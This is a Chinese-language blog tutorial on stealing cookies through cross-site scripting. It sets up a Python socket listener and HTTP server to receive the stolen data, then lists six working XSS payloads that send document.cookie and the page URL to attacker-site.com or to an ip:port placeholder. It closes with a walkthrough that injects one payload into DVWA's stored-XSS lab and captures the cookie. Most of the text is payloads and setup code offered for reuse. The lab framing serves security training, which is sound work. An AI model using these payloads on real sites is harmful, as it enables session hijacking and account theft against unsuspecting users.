赞
踩
本文仅分享XSS攻击知识,不承担任何法律责任。
本文涉及的软件等请读者自行安装,本文不再赘述。
XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息。
在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址
本文使用本机起IP地址
1.使用文本编辑器(例如 Sublime Text、VS Code 等)创建一个新的 Python 文件。
2.导入 socket 库。socket 库是 Python 标准库的一部分,提供了网络编程相关的 API 和函数。
import socket
3.选择一个主机地址和端口号来监听连接请求。主机地址可以是 IP 地址或域名。
HOST = 'localhost' # 或者使用本机的 IP 地址,如 '192.168.1.2'
PORT = 8000 #或2023、2020
4.使用 socket()
函数来创建一个 socket 对象,并指定协议族(例如 AF_INET
),以及套接字类型(例如 SOCK_STREAM
)。
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5.绑定主机地址和端口号到 socket 对象上。可以使用 bind()
函数。
server_socket.bind((HOST, PORT))
6.开始监听连接请求。可以使用 listen()
函数来开始监听连接请求。传入的参数表示最大等待连接数。
server_socket.listen(2)
综合起来,一个简单的启动 IP 地址的 Python 代码如下所示:
import socket HOST = '本机IP地址' PORT = 2022 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM) server_socket.bind((HOST, PORT)) # 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它 server_socket.listen(1) print('等待客户端连接...') # 接受客户端连接 client_socket, addr = server_socket.accept() print('客户端已连接:', addr) # 接收客户端发送的数据 data = client_socket.recv(1024) print('接收到数据:', data.decode()) # 将接收到的数据原样返回给客户端 client_socket.sendall(data) # 关闭客户端连接 client_socket.close() # 使用 close() 方法关闭套接字并释放所有相关的资源; # 关闭服务器套接字 server_socket.close() # 使用 close() 方法关闭套接字并释放所有相关的资源。
一旦有客户端连接,accept() 方法会返回一个新的客户端套接字和客户端地址信息(包括 IP 地址和端口号)
recv() 方法会阻塞程序,直到有数据可用或者超时,然后将接收到的数据作为 Python 字节对象返回。在本例中,客户端发送的数据最大为 1024 字节;
将接收到的数据原样发送回客户端,使用 sendall() 方法向客户端套接字写入数据。
注意,sendall() 方法保证能够将所有数据发送出去,因此不需要循环调用其它方法来确保消息完整发送
接着,执行该文件。
最后,在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie,监听的端口即可接收。
打开python2终端输入:
python2 -m SimpleHTTPServer 8080(端口号)
打开python3终端输入:
python3 -m http.server 8080(端口号)
即可监听8080端口,接受XSS语句外带的Cookie
以下是一些常见的 XSS 的 Cookie 外带攻击语句:
1.利用 document.cookie 获取当前域下所有 cookie 的值:
<script>new Image().src="http://attacker-site.com/cookie.php?cookie="+document.cookie;</script>
2.将当前页面的 URL 和 Cookie 发送到攻击者的服务器:
<img src="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)" />
3.利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:
<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://attacker-site.com/logger.php", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>
4.利用 window.location 对象向攻击者的服务器提交请求,附带当前页面的 URL 和 Cookie:
<script>window.location="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie);</script>
5.利用 document.write 返回页面中的Cookie,并将其拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
<script>document.write('<img src="http://ip:端口号/'+document.cookie+'"/>')</script>
6.通过 window.open 方法打开了指定的攻击机地址,并拼接、传递cookie
<img src=1 onerror=window.open("http://ip:端口号/?id="+document.cookie)>
本文以DVWA之XSS(Stored) low-level为例,通过DVWA本地环境进行XSS之Cookie外带例题详析。
1.写入python文件,以test.py命名,IP为本机IPv4地址,端口为2022,启动监听
2.在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie
Name栏输入:1
Message栏输入:<script>document.write('<img src="http://IPv4地址:2022/'+document.cookie+'"/>')</script>
绕过Message栏的字符串长度限制可参考:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
如下图,XSS语句注入成功:
端口监听到数据:
<img src=1 onerror=window.open("http://IPv4地址:2022/?id="+document.cookie)>
使用 onerror 事件的方式,在图片加载失败时触发一个错误事件,通过 window.open 方法打开了指定的攻击机地址,并传递cookie
window.open()
是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象。在实际应用中,可以使用该方法来实现各种功能,如显示广告、打开弹窗、播放视频等。
例如,以下代码将会在新窗口或新标签页中打开指定 URL:
window.open("http://www.example.com");
除了 URL 参数之外,还可以传递一些可选的参数,如窗口大小、位置、工具栏和滚动条等属性。例如:
window.open("http://www.example.com",
"myWindow",
"width=400,height=300,left=100,top=100,toolbar=yes,scrollbars=yes");
如下图,XSS语句注入成功:
页面跳转并传递cookie:
另一篇相关实战文章: data/cookie外带 | xss-labs level-9 解题详析
DVWA之XSS相关:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。